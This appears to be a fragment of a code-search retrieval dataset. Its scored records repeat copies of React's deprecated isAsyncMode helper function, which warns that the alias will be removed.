"score": "0.67432344", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "61b6a4c7c6c18525d419e2666a086e80", "score": "0.67036957", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 18+.');\n }\n }\n return false;\n }", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === 